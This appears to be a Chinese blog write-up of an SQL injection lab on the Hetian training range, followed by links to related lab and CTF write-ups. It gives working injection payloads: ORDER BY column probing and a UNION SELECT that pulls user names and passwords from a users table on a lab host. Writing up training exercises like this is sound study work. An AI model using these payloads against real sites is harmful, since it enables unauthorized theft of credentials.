合天网安实验室sql注入实验一 WRITE UP

在虚拟机chrome输入靶场网址：

10.1.1.11:81

打开实验一。

接下来用order by 语句：

root' order by 4%23
root' order by 5%23
root' order by 6%23

4,5正常，6异常。

即查询出有五个账户。

**root' union select 1,2,3,4,5 from users%23**

**root' union select 1,name,passwd,4,5 from users%23**

实验一即以上操作。

合天网安实验室sql注入实验一 WRITE UP相关推荐

BurpSuite实战——合天网安实验室学习笔记
burpsuite是一款功能强大的用于攻击web应用程序的集成平台,通常在服务器和客户端之间充当一个双向代理,用于截获通信过程中的数据包,对于截获到的包可以人为的进行修改和重放. 此BurpSuite ...
合天网安就业班_CTF挑战赛-合天网安实验室
[TOCCTF挑战赛-合天网安实验室逆向解析] CTF挑战赛-合天网安实验室sourl.cn 1.逆向100 修改后缀为.apk 安卓模拟器打开,发现要求输入Password 用Android逆向助 ...
合天网安实验室CTF-基础50-0x01
合天网安实验室CTF-基础50-0x01 最近无聊时准备刷点题,由简到难慢慢来吧题目描述真的不能再简单了! 相关附件 misc50.zip 题目链接参考解题步骤 1.下载下来的压缩包解压 ...
合天网安实验室CTF-Web100-Give Me Flag
合天网安实验室CTF-Web100-Give Me Flag 题目描述哎,不小心把代码弄乱惹相关附件 web100.zip 题目链接参考解题步骤 1.下载附件打开后是一段JavaScri ...
合天网安实验室CTF-Exp200-Come on,Exploit me!
合天网安实验室CTF-Exp200-Come on,Exploit me! 题目描述 Audrey Tang. ⊙.⊙ 我只能说到这儿了相关附件 exp200 题目链接参考解题步骤 1.下 ...
合天网安实验室CTF-Steg150-一段欢快的曲调
合天网安实验室CTF-Steg150-一段欢快的曲调题目描述滴滴相关附件 stego100.wav 题目链接参考解题步骤 1.下载的附件是一段wav格式的音频,打开听了一下,确实是欢快 ...
合天网安实验室CTF-解密100-Funny Crypto
合天网安实验室CTF-解密100-Funny Crypto 题目描述 tgbnjuy 8ujko9 5rfgy6 相关附件题目链接参考解题步骤字母被围起来的字母图示颜色 tgbnjuy ...
CSRF攻击实验 ——合天网安实验室学习笔记
实验链接本实验以PHP和Mysql为环境,展示了CSRF攻击的原理和攻击过程.通过实验结果结合对攻击代码的分析,可更直观清晰地认识到Web安全里这种常见的攻击方式. 链接:http://www.he ...
Docker未授权漏洞复现（合天网安实验室）
简介 Docker 是一个开源的应用容器引擎,让开发者可以打包他们的应用以及依赖包到一个可移植的容器中,然后发布到任何流行的Linux或Windows操作系统的机器上,也可以实现虚拟化,容器是完全使用 ...
使用burp进行暴力破解 ——合天网安实验室学习笔记
实验链接通过该实验掌握burp的配置方法和相关模块的使用方法,对一个虚拟网站使用burp进行暴力破解来使网站建设者从攻击者的角度去分析和避免问题,以此加强网站安全. 链接:http://www.he ...

合天网安实验室sql注入实验一 WRITE UP

合天网安实验室sql注入实验一 WRITE UP相关推荐

最新文章

热门文章